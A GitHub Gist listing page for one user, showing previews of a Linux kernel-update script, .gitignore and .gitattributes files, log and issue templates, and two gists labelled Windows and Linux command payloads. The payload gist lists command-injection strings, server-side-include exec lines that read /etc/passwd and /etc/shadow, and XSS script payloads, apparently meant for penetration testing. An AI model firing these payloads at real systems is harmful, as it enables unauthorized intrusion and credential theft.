Skip to content

Instantly share code, notes, and snippets.

@Yousha
Yousha / update_linux_kernel.sh
Last active February 27, 2024 11:13
Shell script to update Linux kernel. (Traditionally)
#!/bin/sh
# Prepare.
set -o nounset # Abort on unbound variable.
set -o pipefail # Don't hide errors within pipes.
LANG=C
LC_CTYPE=C
LC_ALL=C
[ $UID != 0 ] && { echo -e "\nYou don’t have permission to run this script."; exit 13; }
@Yousha
Yousha / .gitignore
Last active April 15, 2023 06:11
.gitignore for GNU+Linux root filesystem to track changes.
/dev/
/lost+found/
/proc/
/mnt/
/media/
/var/cache/nscd/hosts
/var/cache/nscd/passwd
/media/user/
/var/cache/nscd/group
/root/.cache/
@Yousha
Yousha / .gitignore
Created March 24, 2021 10:14
.gitignore for assets/documents.
##### Windows
# Windows thumbnail cache files
Thumbs.db
Thumbs.db:encryptable
ehthumbs.db
ehthumbs_vista.db
# Dump file
*.stackdump
@Yousha
Yousha / .gitattributes
Created March 24, 2021 09:55
.gitattributes for assets/documents.
* text=auto
###### Git
.gitattributes text
.gitignore text
.gitconfig text
.gitmodules text
##### Windows
*.bat text eol=crlf
@Yousha
Yousha / gist:0f022625ac5e7bb33aec45cddce2a583
Created June 16, 2020 08:59
Windows command payloads
`
||
|
;
'
'"
"
"'
@Yousha
Yousha / gist:6832f3941977f05e70892de35e0428f9
Created June 16, 2020 08:58
Linux command payloads
<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->
<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->
<!--#exec%20cmd="/usr/bin/id;-->
<!--#exec%20cmd="/usr/bin/id;-->
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@Yousha
Yousha / gist:3d4c171edb7d39b068a0ab16bab3788e
Created June 16, 2020 08:56
Troubleshooting information
Application:
Name
Version
Build number
Locale
Last update
Architecture
API
Compiler/SAPI
Builder
@Yousha
Yousha / gist:32e918743e7898fe74594a877ac064e3
Last active June 16, 2020 08:55
Application log template
[Date Time] [ProcessId/ThreadId] [Application.ClassName.MethodName] Message
@Yousha
Yousha / gist:3a8631d953430cc9fa4077c6ce4bc974
Created June 16, 2020 08:54
Application issue template
Application name-version
Type
[Code]
Message
File
Line
Caller
Thread
Thread priority
Time